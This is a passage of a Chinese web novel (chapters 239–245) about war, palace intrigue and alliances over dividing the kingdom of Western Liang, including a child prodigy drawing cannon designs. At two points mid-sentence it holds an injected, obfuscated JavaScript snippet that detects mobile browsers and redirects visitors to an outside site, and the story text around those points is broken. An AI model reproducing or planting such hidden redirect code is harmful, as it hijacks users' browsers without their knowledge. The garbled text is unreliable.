“续命丹?”西凉皇帝脸色大变。 续命丹极其珍贵,西凉每一位国君登基时,神庙都会送来一颗续命丹,但西凉皇帝变了脸色不是因续命丹珍贵,而是续命丹的另一个名字叫催命符,一颗续命丹可让人多活七日,最多服用三颗,但余下的命也就用完了,二十一日后必死无疑。 而他,没到这个地步! 东方文和见西凉皇帝这副表情,就要收回。 却不想西凉皇帝先一步取走了丹药瓶。 “有三颗,最后三颗。”东方文和说。 西凉皇帝问:“你有何求?” “别杀他,他的母亲曾经对我有救命之恩。”东方文和说。 西凉皇帝当然记得的,当初是大国师说耶律安有兄弟命,而皇后无孳息,若想要有亲生骨肉,得先收养耶律安,并且好好的待承。 不知道是真是假,但确实给耶律安了一次活下来的机会,也算是耶律安好命,确实皇后不久生下了耶律齐。 可这是天家,天家子终究要面临的就是互相残杀。 耶律齐的死是谁的手笔已经了然,毕竟最大的受益者就是最大的嫌疑人,特别是耶律安现在都敢如此对待自己,足以见得他的野心勃勃。 三支翎羽箭根本伤不到西凉皇帝,可这个态度足以让所有人都明白了,想要停下内斗,没有可能。 西凉皇帝下旨,但凡叛军,格杀勿论! 但凡支持耶律齐的部落,格杀勿论! 同时,请大国师去旁边议事。 说是议事,其实是请大国师出手,别人不知道,可身为国君的他知道,大国师手里有绝对的杀器,是不到万不得已,不到灭国之际,不可动用的杀器。 耶律安担心夜长梦多,燕京城四门轮番攻城,城里兵力有限,疲于奔波应对,已经露出颓势。 **“看样子,我们想要离开都不容易。”温令仪说。 裴祈安在沙盘前仔细推演,听到这话抬头看过来:“再等等,若西凉皇帝手里没有底牌,那就可能主动退位,海蓝嘉善和佛尔果春不会答应的,所以我认为还不是下断言的时候。” “我不懂这些,只是担心。”温令仪说。 裴祈安勾起唇角:“放心吧,随时都能带你离开,但我们留在这里能掌握更多的消息,一旦到了最后关头,漠北可以动,萧玄策也可以动。” “萧玄策的人也在燕京城里吧?”温令仪对萧玄策的印象越来越深,当初救他的时候还不觉得,但从小囡囡成为天道盟少主后,温令仪便对这个人很上心了,小囡囡也说过,萧玄策才是最后的赢家。 所以,西凉如今一乱,萧玄策必定虎视眈眈。 裴祈安走过来坐在温 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裴祈安没有靠前,而是从东门往南门去,西门停了片刻,因为耶律安在西门,再从北门回来,果不其然,每一个城门都有两个,只不过就算安顿好,也没有撤下黑布,到底里面是什么,他没看到。 回到宅院里,裴祈安是一点儿睡意也没有,他手里有足够的铁、铁匠,但都是刀枪剑戟之类的武器,还有翎羽箭,像刚才见到的庞然大物,他是真想象不出来是什么。 温令仪从内室走出来,坐在裴祈安对面:“如何?” 裴祈安摇了摇头:“要等明天,或许西凉皇帝真的有力挽狂澜的本事。” 殊不知,就在外面不远处的马车里,小囡囡已经开始奋笔疾书,不对,是奋笔疾画。 “囡囡真的知道里面是什么?”萧玄策提着灯笼给小囡囡照亮。 小囡囡头也不抬:“当然知道,不过义父手底下的人还不能造出来这些,我爹能。”似萧玄策另一只手捂着心口,做出痛心疾首的模样:“难道义父不好吗?你如此偏心,义父会心痛的。” 小囡囡停下笔,抬头:“义父,有一天会不会跟我爹打起来。” 萧玄策正色:“囡囡,你害怕我们打起来吗?” 第240章 此地不宜久留 小囡囡点头:“害怕。” “怕你爹打不过我吧?”萧玄策笑了。 小囡囡叹气了:“义父,你是真的不相信我啊,我说我爹才是紫微星临世,而你是将星,也就是说真要打起来,吃亏的是你啊。” 萧玄策笑出声来,坐在小囡囡身边,把灯笼挂好:“倒也不是不信,只是囡囡,你看看如今这局势,你觉得你爹跟我有一战之力吗?别说西凉如今实力不详,就算西凉都给你爹,我西域三十六国,虽小可多啊,大夏如今乱成一锅粥,打起来,没有胜算的。” “那这个送给义父,义父尽可让手底下的工匠去造,同样的图纸我也会给我爹,你们对决一次试试。”小囡囡把刚画好的图纸递给了萧玄策。 萧玄策接过来看了眼,惊得瞳孔都放大了,不敢相信的抬头看小囡囡:“这是什么?” “应该叫流火炮,炮弹的制作方法,炮筒的用料,都在上面写的很清楚了,不过还是需要工匠在制作时候校正的。”小囡囡说:“虽然不确定西凉现在这个到底是不是流火炮,但就算是也没有我这个更厉害。” 萧玄策仔细的看完:“一门流火炮要近两千斤精铁?” “对啊,不然怎么能保证射程?当然了,也可以轻一些,但轻一些会不耐用,甚至不能用啊。”小囡囡说:“再就是这里面需要的炮弹,所需这些材料,你觉得就算西域三十六国合起来,能造出来多少?” 萧玄策倒吸了一口冷气。 小囡囡颇有些语重心长的说:“西域三十六国,多沙漠,产金银,但铜铁矿藏极为稀少,反之大夏,就单我舅父那座山里开采出来的铜铁矿,造十几门这样的流火炮都不是问题,所以别以为大夏弱,只要这些流火炮摆一排,西域三十六国难以存进,更不用说大夏善战了。” 萧玄策苦笑:“所以,囡囡不是向着你爹。” “当然,义父待我,比我亲爹都好,我怎么能拎不清,再说了,一个是我亲爹,一个是疼爱我的义父,你们俩若是刀兵相见,我咋办呢?”小囡囡眼圈都红了:“我也不贪心,只要我活着,你们别打。” 萧玄策轻轻地揉了揉小囡囡的脸蛋:“你会比义父多活好多好多年,我的小囡囡一定会长命百岁,所以你要接了我的传位,别说不会打了,这天下不是我的,也不是裴祈安的,而是我们小囡囡的。” “才不要。”小囡囡立刻别开小脸:“义父要尽早成亲,早日生一些孩子,到时候我是大长姐就行。” 萧玄策不肯娶妻,小囡囡十分担心,因为她知道萧玄策命定的女子还不到出现的时候,可那个女子一旦出现,萧玄策第一个儿子就是绝对的杀神,并且比萧玄策要更厉害的地方是权谋和野心,根本没人能压得住,至于最终成就,她也不知道。 “好了,此事容后再议。”萧玄策是真的没有娶妻的心思,也懒得在这样的事情上费心思,如今坐稳三十六国共主的位子,在别人看来应该知足了,可只有他知道,三十六国共主算什么?真要有跳起来不服管的,自己未必就能压得住,若都跳起来,自己这三十六国共主会成为笑话,所以西凉对他来说,尤为重要,他能得到西凉一半的土地,建造一个绝对的王国,三十六国会成为三十六府、三十六郡、三十六州,而不是国! 道长且阻的时候,谈情说爱显得比鸿**还轻。 小囡囡打了个哈欠:“等着看吧,明天耶律安有苦头吃了,不过我也要看看这西凉拿出来的庞然大物,和我的流火炮比起来,孰强孰弱。” 萧玄策让人带着小囡囡去歇息。 盘膝坐在马车里,调养精气神。 东方尚且还没有露出鱼肚白,一声巨响传来,萧玄策猛地睁开眼睛,撩起帘子就见小囡囡骑在护卫的脖子上,手里举着她研制出来的宝贝,仔细的看着远处。 “义父,比我的流火炮差远了!”小囡囡兴奋的转过头,拍着侍卫的肩膀,让他把自己放下来。 一溜烟儿的跑过来,举起来自己的瞭望镜:“义父,你看,并没有流火,威力大打折扣,而且铁球里应该是只有沙子,不对,**和沙子,虽然有一定的威力,可到底弱了!” 萧玄策举着瞭望镜 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“真的能反败为胜吗?”温令仪也有些紧张。 裴祈安摇头:“还不太清楚,但西凉地宫里到底有什么,我很想去看看。” 温令仪坐下来:“千金之子坐不垂堂,我们可静观其变,不能贸然行事。” “所以,我要等一个人。”裴祈安抬眸看着温令仪。 温令仪问:“是萧玄策吗?” “对,唯有他。”裴祈安说。 这一日,那震耳欲聋的声音没断过。 一直到傍晚时,守卫进来禀报:“主子,有客求见。” 裴祈安点头:“请。” 温令仪以为是萧玄策,心里是想囡囡又怕萧玄策带囡囡来,毕竟此时的西凉太危险了。 当来人从门外进来,温令仪惊得站了起来:“大哥,你怎么来了?” 温慕春走到温令仪面前:“来接你,此地不宜久留。” 话音落下,身后传来了脆生生的轻唤:“娘亲,我也来了哟。” 第241章 摸熟了路,亲自去看看 温令仪看着被萧玄策抱在怀里的女儿,心里一瞬间就有些五味杂陈,这个孩子若非跟自己渊源极深,哪里会有这样的母女情,可饶是如此渊源却不能日日相伴在身边,更因为不得已的原因要放在萧玄策跟前,世上哪个当娘的人能对这样的分离泰然若素呢? 萧玄策阔步到了近前,伸出手臂把小囡囡送到温令仪面前,不等温令仪接过去,裴祈安已先一步把小囡囡抱在了怀里。 温令仪的视线完全被女儿牵着走,看到小囡囡非但白净了许多,竟也胖了些许,至少看不出来受委屈的模样,心里略安。 “爹,你跟义父还有舅父肯定有很多话说吧?我陪着娘亲。”小囡囡说。 裴祈安把小囡囡放在地上:“好,陪着你娘亲去那边说话。” 小囡囡撇嘴儿,真是够护着媳妇的了,难道真把自己当成小孩子糊弄吗?怕累到他媳妇呀? 不过,她才不会跟这样眼里只有媳妇的男人计较呢,走过去拉着温令仪的手:“娘亲,囡囡给您讲一讲我在西域的奇遇记,走吧。” 温令仪笑着点头,母女二人去了隔壁房间里。 裴祈安请萧玄策和温慕春到书房,三人拿出来各自带在身边的舆图,放在桌子上就是西凉国的舆图,行军打仗,舆图更像是眼睛,能最大程度的保证决策正确,唯有如此才能减少兵耗。 “西凉的那种流火炮,威力确实巨大。”萧玄策说。 裴祈安点了点头:“若是没有克敌之法,单单就这样的杀气,我们恐怕也不是对手。” 温慕春抚着扳指:“西凉若是有如此大杀器,为何早不用?这个时候才拿出来用,那是因为到了西凉灭国的危难之际,这是不是说明这些所谓的大杀器,根本不能真正的参战?” “我也是这么想的,再者威力巨大,同时弊端也很大,那样的庞然大物,运输也是问题。”萧玄策说。 裴祈安心里却在想如何弄到图纸,交给温慕春,带回苍山里去试试,若是能造出来,不用说别处,就放在漠北,那就是镇国利器! ***隔壁房间里,小囡囡眉飞色舞的说着话,手可没闲着,仔细的勾画出图纸,标注了尺寸,交给温令仪的时候,抬眸露出笑意是:“娘亲,回去漠北,事不宜迟,这里的一切都不要再插手,不管是西凉皇帝、耶律安或是海蓝一族和佛尔果春,他们在我的眼里都是狗咬狗,非我族类,其心必异。” “囡囡,娘亲现在不能带你回去,太危险了。”温令仪抬起手抚摸着女儿软乎乎的小脸蛋,眼圈泛红。 小囡囡摇头:“我也不能回去,义父什么时候成亲了,有了子嗣,我才会离开西域,或者说,子嗣大一些的时候,我再走也不迟,娘亲,我们人这一辈是极短的,但我们不能只顾着眼前,若想要让大夏源远流长,可以内斗,改朝换代,但不可以被侵略,断了大夏的文明传承。” “囡囡和墨染是一样的人。”温令仪知道墨染也是这样的心思,大夏国内,揭竿而起的人可不少,但她并不曾插手过问,但西凉乃至于西域,她可以调动手里一切能调动的人奔赴而来。 小囡囡抿了抿嘴角:“或许吧,不过娘亲切记,不可以把这些图纸给墨染看,我不会那么快离开西凉,义父还有事情没办完,你和爹爹还有舅父要尽早离开。” 温令仪从小囡囡的眼中看到了急切,心里猜测她可能知道很多真相,但也明显感觉到小囡囡没有要和盘托出的意思,不好追问,只点头:“好,看你父亲和舅父如何安排。” 出乎温令仪的意料,原以为不会那么早离开,可小囡囡刚说完这话不到一盏茶的工夫,裴祈安就进门来:“阿宁,我们立刻离开。” 温令仪愕然,转过头看这里的女儿:“我刚和女儿见面啊。” “娘亲,我们自会有长久相伴的时候,早点儿走,安全。”小囡囡取出来自己收集的漂亮珠子放在温令仪的手里:“这些娘亲带回去,找工匠做后冠,一定要九龙九凤的,很好看。” 温令仪眼圈泛红,但哪里能因儿女情长误事,用力的抱了抱女儿:“娘亲会亲自去接你回家。” “好。”小囡囡亲了亲温令仪的脸颊:“放心 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温令仪看着另外一张笨重的图纸:“这是萧玄策拿出来的,大哥,就算我们有更好的图纸,也万万不可露出来,除非我从西域接了囡囡回来,否则囡囡就不安全了。” 温慕春点头:“放心吧,我们温家军里有专门的造器师。” ***城墙上,小囡囡趴在萧玄策的肩膀上睡着了。 萧玄策用斗篷遮好了小囡囡,转过头看裴祈安:“看来,也就三两日,这边就结束了。” “确实。”裴祈安去而复返,温慕春和温令仪都不知道,他对西凉的地宫很感兴趣,恰好萧玄策在,怎么能错失良机呢? 萧玄策低声:“走,摸熟了路,亲自去看看。” “知我者,玄策也。”裴祈安看了眼趴在萧玄策肩膀上睡着的女儿,摇头:“抢我爱女,也是你萧玄策啊。” 萧玄策朗声笑道:“我能把西域给囡囡,你能?赶紧回去跟温令仪多生几个,别老盯着我这个了。” 小囡囡微微的睁开眼睛,又悄悄地闭上了。 第242章 都是命悬一线的生死局 温令仪的马车往漠北去,一路上顺利的很。 天亮的时候才发现裴祈安不在,温令仪的心就有些不踏实了,西凉如今这乱象,没有那么快结束,萧玄策又来了,裴祈安和佛尔果春之间,甚至和海蓝一族之间必定打成了什么共识,甚至布局多年,若是露出破绽,那可是太不利了。 特别是萧玄策,当初小囡囡发现自己救了萧玄策的时候,好几次都动了杀心,显然这个人对他们一家子都是危险的,只不过后来有了变数,可谁又能知道这变数之后,会不会再有变数呢? “怎么六神无主的?”温慕春递过来水囊。 温令仪摇头:“很多事情插不上手,徒增烦恼罢了。” “小妹,你忍辱负重能走到今日,心里承受太多,如今温家和往昔不同了,不会受制于人,半边月的毒解了不说,手里已有了足以让任何人都忌惮的兵权,若你和裴祈安并非真心想要白头偕老,只管好好的留在家里,余下的事,大哥为你做。”温慕春说。 换做以前,他没有资格说这句话,朝不保夕的人,哪里有救人的本事? 可如今确实有这个本事了,大不了一拍两散,裴祈安所求如愿,温家带走自家的女儿,这并非邀功,而是两不相欠。 温令仪喝了口水:“大哥,裴祈安和你们不一样。” “哪里不一样?”温慕春嘴上这么问,心里却知道小妹和裴祈安之间经历了太多的事,牵绊太深,怎么能没感情呢? 温令仪往外看了眼,天空阴沉沉的,看样子要下雪,收回目光低头:“他身上有一种毒解不了。” “比半边月还厉害的毒?”温慕春已经解毒了,温家人都解毒了,没有了半边月的辖制,他从来没有过的轻松,就好像本来掌握在别人手里的生死,终于自己可以掌控了,这种感觉简直太美妙了,没有经历过的人,很难体会得到。 可裴祈安似乎还要受制于人啊。 温慕春想到接下来的事,心里有些担忧了。 温令仪摇头:“不是比半边月厉害,只是无解,药王谷有一种药,名缠丝,裴祈安那些年在外行走,不受半边月的侵害,是因为当年师父给用了缠丝,同样,晏怀卿后来能无惧半边月,也是因为穆青给他用了缠丝。” 温慕春愕然良久,缓缓地吸了口气:“那他要如何?缠丝毒也并非没有解药,有朝一日他三千佳丽,还愁解药了?” “若他不放我呢?”温令仪抬眸,见温慕春眸色都深了,立刻说:“而我,也不想离开。” 温慕春清了清嗓子,看向马车外:“除非你心甘情愿,否则不必为难自己。” “若我除了囡囡外,还有孩子降生,若恰好是男孩,大哥,这个孩子的未来会什么样?他身体里有一半是温家的血。”温令仪看着温慕春。 温慕春心里咯噔一下,回头看温令仪。 温令仪轻轻点头:“确实,我又有喜脉了。” 这下,温慕春都有些呆滞了,脑海里是温令仪的话在回荡,有一半温家的血脉,裴祈安的长子,未来朝廷的走向,这意味着什么?没有人不知道。 “只是,世事无常,人心善变,大哥,若有朝一日裴祈安真三宫六院,我自会全身而退,包括我的孩子,到时候温家也退,做富贵闲人是极好的,可裴祈安一日不变,我便不退,温家也退不得。”温令仪低下头:“虽说,这多少有些身不由己,可能怎么办呢?就像当年祖父明知道郎御的手段,不得不顺从,是因为别人看到的荣华富贵,都是命悬一线的生死局,谁都有牵绊,这牵绊就会让人身不由己啊。” 温慕春抬起手压了压额角:“小妹无需想这么多,我们回到漠北,你便安心养胎,不必告诉任何人,越少人知道越好,如今我反倒觉得刀兵不会过漠北,至于雁门关那边,只要晏明昭往西凉动,我们温家的人立刻就会到罗政身边辅佐,后面的事还需要从长计议。” “是啊,大哥说的有道理,如果能让大夏免于刀兵战火,其实很多事都能徐徐图之。”温令仪就知道大哥会这样安排,这也是自己最想要的,唯有瞒得住所有人,这个孩子 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“不知道什么人救走了她。”皇后轻轻地叹了口气:“皇上,我们燕京城内,也不安生啊。” 西凉皇帝立刻差人去查。 这一查,西凉皇帝的心都凉了,萧玄策竟然来了,是他救走了药王谷的人,真是人善被人欺,马善被人骑啊,如今都来觊觎自己的西凉了。 西凉皇帝磨牙:“必须要尽快把耶律安抓到!内乱不停,就会成为人人都想咬一口的肥肉!” 皇后递过来参茶,看着西凉皇帝把参茶喝下去,轻轻点头:“皇上圣明。” 当晚,皇上睡得极沉,皇后立在院子里。 黑衣人过来低声禀报:“主子,有人进了地宫。” “嗯。”皇后挑了挑眉,萧玄策和裴祈安果然联手了,去地宫?自己请都请不来呢。 “带路,清理掉地宫那些人。”皇后迈步往地宫入口走来…… 第243章 神庙里的盟约 萧玄策和裴祈安立在地宫中,两面夹山上的利刃眼看就要把他们扎个透心凉的时候,夹山停了下来。 裴祈安抬眸看到西凉皇后立在台阶上。 “皇后大恩。”萧玄策笑着迎过去,一抱拳:“我等头一遭做梁上君子,就被抓了个正着,多少有些尴尬了。” 西凉皇后微微颔首还礼:“我这不争气的外甥也真太小瞧姨母了,若你想要进来看看,跟姨母直说便是。” 萧玄策立刻回头看裴祈安。 裴祈安尴尬的清了清嗓子:“姨母勿怪,若非外面那大杀器实在让我看不懂,我哪里敢往这里来。” 西凉皇后蹙眉:“那你看到了什么?” 裴祈安上前:“姨母,地宫是个幌子,那些大杀器是在神庙里吧?” “还算你有点儿小聪明,还不跟我出去?”西凉皇后嗔怒道。 萧玄策可不傻,立刻跟上了裴祈安,三个人从地宫走出来,直接进了密道,密道直通凤仪宫。 回到凤仪宫,这便安全了。 西凉皇后吩咐白音嬷嬷准备好宴席,请萧玄策和裴祈安落座。 “如今局面是注定了两败俱伤,你们二人也不用藏着掖着,是打算怎么分西凉啊?”西凉皇后淡淡的开口,说出来的话却犹如惊雷一般。 萧玄策看裴祈安,别的不说,这攀亲的事都能做得出来,他反而像是个外人,所以这话怎么都不能接就是了。 “姨母,阿宁跟我说过,西凉有个女皇也未尝不可。”裴祈安笑着说。 这话差点儿让萧玄策蹦起来,若非养气功夫了得,怎么都不会容裴祈安这般说话,两个人的盟书还热乎呢,怎么能就起了变化?瓜分西凉是早就商议好的,自己还等着以半个西凉为点,对西域三十六国进行最高的权利掌控呢。 西凉皇后听到这话,神色微微的有些僵住了,这话自己当然记得,当时温令仪说出这句话的时候,她何尝不是很动心? 如今眼看着是两败俱伤,又没有绝对的胜算,自己就算有这份心思,更多的是妄想。 续命丹一共就三颗,从城门露面那天开始,二十一天后便是皇帝的死期,若是这个消息传出去,耶律安一定会困守皇城二十一天,二十一天后,哪怕她辅佐幼主登基,不足半岁的孩子能作什么?朝臣最会权衡利弊,耶律安显然更得这些朝臣的心,更不用说还有威逼利诱,无穷尽的手段让这些人屈服,时局太不明朗了。 “玉琢,若非逼不得已,谁会拱手让出江山?”西凉皇后颇有些无奈的摇了摇头:“如今谁都看得出来,西凉的气数只怕尽了。” 萧玄策看了眼裴祈安,见裴祈安沉默不语,他也没有出声,不过西凉皇后的话让他放心不少,这世上的人谁没野心?真正淡泊名利的人,那是圣人! 如果海蓝嘉善有称帝的心思,对二人盟约可就是极大的考验。 “本宫倒是有一个两全其美的想法。”西凉皇后见二人不说话,心知肚明是各怀心思,都在盯着西凉,萧玄策要西凉落脚,裴祈安要西凉拱卫大夏,至于大夏之后会什么样,她就算不了解大夏皇帝,也了解眼前的裴祈安,得大夏江山,虽难但不会放弃,也就是说,这两个人连收买的机会都没有,只能交易。 果然,是裴祈安和萧玄策都看向了西凉皇后。 “西凉天下三分,本宫辅佐幼主迁都南下到神女山,隔着泾水河分为南北,南边还是西凉,北边可以一分为二,是本宫请你们二人出手的酬劳,稳定西凉江山不倒,从此以后西凉也不会再有野心,对你们二人来说,西凉弹丸之地,不足为虑,如何?”西凉皇后问。 萧玄策满意,因西凉皇后的诚意是极大地,不说别的,神女山到泾水河,其容身之地不足现有的西凉国三分之一大,而泾水河北,这一大片广袤土地,才是西凉的根基,未来会成为自己的根基。 “玄策兄,意下如何?”裴祈安问萧玄策。 萧玄策微微蹙眉:“口说无凭,若想要结盟,怎么也要去神庙看看城楼上摆放的那些流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16026630|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火炮,到底有多少。” 这也是裴祈安最想要知道的事。 西凉皇后料到会这样,也没多说,吩咐白音准备,他们要往神庙去。 萧玄策和裴祈安以为会从地宫去神庙,毕竟那么大的玩意儿运送过来委实不容易,可让二人我能玩没想到的是西凉皇宫下有一条非常宽阔的暗河,暗河上的船是平板,不用说也知道是用来运送流火炮的,西凉皇后带着他们坐上小船,白音带着几个嬷嬷逆流而上,往神庙方向去。 地下河,河水冰冷,连带着周围的空气都有些刺骨,裴祈安暗暗的运转内力抵御寒气,萧玄策亦是如此,二人发现西凉皇后竟什么都不做,似是不冷。 不用猜,这位是个内家功夫极好的人。 这一手,让萧玄策压下了先下手为强的心思,三个人平安来到神庙入口处,这边早有人在接应,三个人从密室里走出来,推开暗门,眼前是神庙最大的大殿,大殿上供奉的神像手持方天画戟,骑着黑色的战马,威风凛凛。 这边是西凉人奉为天神的人,据说这个人来历不明,建立了西凉,每到大战之际,这座神像都会在夜里散发光芒,若是红光则是不吉。 如今,裴祈安看神像并没有什么特别的地方,甚至都有些死气沉沉的感觉,当初的巫医族鼎盛时期,神庙香火鼎盛,巫医族被灭族的时候,几乎所有族人都血祭了神庙里的神,至于后来,据说神庙就再也没有什么特别的地方了,就像最寻常的庙宇,只见神像,不见神光。 西凉皇后抬头,目光是虔诚的。 裴祈安微微挑眉,或许,佛尔果春是希望神像能显灵吧,不管是为了什么。 只不过,神从来都高高在上,不见世间疾苦,要说真有神,他的阿宁和囡囡便是他的神。 西凉皇后走到了大殿前,停下脚步。 “皇后娘娘,您来了。”笼罩在黑袍里的东方文和走出来,看了眼裴祈安和萧玄策,轻轻地叹了口气,走到这一步,或许是最好的结局吧。 第244章 非摘了这厮的狗头 当萧玄策和裴祈安从神庙后门走出来后,西凉的命运就已经有了另外的轨迹了。 “玄策兄,你觉得西凉会如何?”裴祈安问。 萧玄策看着裴祈安:“如此,还能如何?” 裴祈安没言语,拱手一礼走了。 萧玄策久久目送着裴祈安,直到看不到影子了,猛然回头看着神庙的方向,脑海里回想起小囡囡的话,她说,真正的紫微星是裴祈安,而自己是将星,或许是真的吧。 裴祈安一路往漠北去,没有停留。 他快马加鞭,所过之地,绕开能遇到人的关隘,漠北城门外,裴祈安亮出来令牌,大门打开,他快马入城,没有去见温家人,而是直奔军中见温慕阳。 温慕阳打从有了儿子,当了爹,那可是真变了性子,练兵闲暇就攻读兵法谋略,每日推演沙盘,到了废寝忘食的地步。 裴祈安进门,简直不敢相信自己的眼睛,温慕阳虽然不是个风雅君子,但世家子的教养是学得很好的,平日里衣冠整洁,面容干净,可眼前这个双眼冒光,胡子拉碴的人,怎么都和自己认识的温慕阳相去甚远啊,更不用说脱了一只靴子,踩着凳子,手里拿着沙盘用的令旗,半天都一动不动到进来人都没反应的样子了。 没有打扰温慕阳,裴祈安轻手轻脚的走到沙盘旁,看着上面的地形图,竟是西凉全境! 再看那些令旗,每个关隘、部落甚至山川河流的天险都有令旗排布,裴祈安微微点头,看了良久,刚要说话。 “神女山是天险,进可攻退可守,若是西凉避走神女山,那就是放虎归山啊。”温慕阳手里的令旗缓缓地放在了神女山的山顶上。 裴祈安心就一沉:“怪不得西凉皇后要神女山和泾水河以南,原来是以退为进啊。” “西凉皇后动手也来不及了。”温慕阳摇头:“晏明昭会占领神女山,若是那样的话,罗政要尽快动手,否则就错失良机了。” 裴祈安愕然的看着温慕阳,这个人心思竟也如此深沉了吗?以前自己是不是看走眼了? “啊!你咋来了?”温慕阳抬头,猛然看到裴祈安,惊呼一声差点儿跳起来。 裴祈安扶额:“你怎么一惊一乍的。” “谁让你不声不响了?”温慕阳直接坐在椅子上,拿起来早就凉透了的茶咕咚咕咚喝了个干净,抓起来糕点几口吃了一个,倒茶,顺下糕点,这才说:“你来干啥?” “朝廷不是让我来监军吗?我不在这里,好像不行。”裴祈安坐下来,试了试冰冷的茶壶:“你这是怎么了?怎么遭成了这幅样子?” 温慕阳叹了口气:“还不是因为自己资质愚笨,越发觉得拖了后腿,趁着暂时没有战事,多努努力呗。” “如今,若是让你去打仗呢?”裴祈安问。 顿时温慕阳的眼睛里冒出来了亮光:“咋说?啥时候打?从哪里打?打谁?” “你最想要打谁?”裴祈安问。 温慕阳嘴角一抹狠厉:“杀了晏明昭,这小兔崽子总是作风作雨的,不弄死早晚是祸害!” 其实,温慕阳一直都记得小妹说的话,剖心,骗自己的脑袋回去换功劳,这小兔崽子若不亲自斩杀了,心里这口恶气都出不来。 “还以为你多有长进,原来只为了一己私欲。”裴祈安失望的摇了摇头。 温慕阳一拍桌子:“你这是什么话?我咋就不长进了,一己私欲咋了?我倒是庆幸自己有这点子明智,不会再被人骗了!” “好好好,你没错,但是让你打仗,不是打晏明昭。”裴祈安说。 温慕阳蹙眉:“打西凉?西凉现在内乱到什么程度了?刚好学了不少,要试试身手。” “你过来。”裴祈安走到了舆图前,指着漠北往西凉东部的这一区域:“逐个击破,不用着急,徐徐图之。” 温慕阳审视着裴祈安:“不是兵贵神速吗?怎么到你这里成了徐徐图之?” “因为要等耶律安,耶律安现在手里的兵马可能逼近四十万了,西凉很多部落都支持他,巫医族成了他招兵买马,收揽人心的法宝,若我们攻城掠地,他要分拨出来兵马阻拦我们,那燕京城皇帝或许能有机会收拾耶律安。”裴祈安说。 温慕阳兴奋的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16033388|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直搓手:“什么时候攻城?” 耶律安想了想:“十天后,这十天让军中将士们准备一下。” “好!”温慕阳穿好靴子,起身:“走,让你看看我们温家军。” 耶律安在温慕阳的带领下来到了校军场。 温慕阳立在高台上,军鼓响了三通后,温家军二十万兵马整整齐齐的列阵在校军场上,骑兵、弓箭手、步兵,甚至伙头兵都各有阵营,各有令旗。 鱼鳞阵、陷阵是、钩形之阵、玄襄之阵…… 温慕阳神色肃穆。 裴祈安看着如此气势高涨的温家军,嘴角浮起一抹浅浅的笑意,这温家军是,唯有温慕阳练兵才会有如此效果,只是温慕阳不自知,他练兵的本事,已少有人能及了。 “怎么样?这都是平常练兵,对抗西凉要用撒星阵,专克骑兵。”温慕阳低声:“八卦阵和八门金锁阵,只要两军对垒,我温家军必定战无不胜,攻无不克!” “我与你一起。”裴祈安说。 温慕阳缓缓地转过头看裴祈安,转身往大帐里去。 裴祈安少见温慕阳如此肃穆的模样,跟上来。 大帐内,温慕阳给裴祈安倒茶,落座后说:“你不能去,到任何时候也不能让你到两军阵前。” “为何?”裴祈安一头雾水。 温慕阳勾了勾唇角:“因为你终究会成为温家军的主公。” “慕阳!”裴祈安不想听到这样的话,温家的任何人在自己心里,与其说会成为君臣,不如说更希望成为家人。 温慕阳噗嗤笑了:“当然,我就是个为一己私欲可以拼命的人,对你也是一样,小妹有了身孕。” “啊?”裴祈安猛地站起身,不敢相信自己的耳朵,阿宁怀孕了?阿宁这次是名正言顺的怀上了自己的孩子! “大惊小怪的作甚?你难道不心知肚明?我实话告诉你,我不能让我妹子守寡,所以你不会出现在两军阵前的。”温慕阳话音未落,裴祈安已经冲出了大帐。 温慕阳没起身,喃喃低语:“敢让我妹受委屈,非摘了这厮的狗头!” 第245章并非你想要娶,令仪就一定要嫁 温令仪这几日折腾的厉害,脸色苍白,也没有胃口,更不用说炼药了,就是草药的味道都闻不得,若非还能看会儿书,简直要抓狂了。 仔细回想当初怀小囡囡的时候,哪里有这般痛苦? 温夫人心疼女儿,每日都陪在女儿身边,看着一日三餐只能吃清粥小菜的女儿,别提多着急了,本来就瘦,这可怎么能扛得住孕育之苦? 担心女儿倒是压过了最大的难题,女儿如今的身份是和离后寡居之人,有了身孕是犯了大忌,若是走漏风声,别说温令仪了,就是温家的脸面都没地方放了。 这孩子是谁的,温家人都心照不宣。 也正因如此,温夫人也好,温家的其他人也好,都只有一个心思,那就是照顾好温令仪。 打从老镇国公和罗老大人回京后,温家这边便收到了越来越多从京城那边传递过来的消息,因宋家的身份更好行事,私下里护送两位归京,包括在京中负责两位安全,都是宋家在做。 温夫人比较安心的还有一点,那便是若桃在京中假扮温令仪,大女儿和药王谷的人护着,足以以假乱真,对外应酬一概不接,这也给温令仪留在漠北提供了最大的保护。 “夫人,摄政王被老爷拦着去了书房。”丫环进来禀报。 温夫人立刻看向了温令仪。 温令仪轻轻地叹了口气:“看来是二哥说了。” “也是该说的,如今你们二人的身份对这个孩子不好,这十月怀胎,怎么也要让孩子名正言顺才是正经的。”温夫人说。 温令仪苦笑,当时永元帝是要赐婚的,虽然是试探,可赐婚都拒了,她如今总不能嫁裴祈安,这个孩子想要世俗人眼中的名正言顺,不容易。 书房里。 裴祈安跪得笔直,低着头。 温长安坐在椅子上,眉头紧锁,要说不生气是假的,别说这一胎,就连小囡囡都是裴祈安的血脉,可见这个混账东西从最开始就盯上了女儿,本可以名正言顺的迎娶过门,偏偏做了这样让人戳脊梁骨的事,作为父亲,温长安可是太心疼自己的女儿了。 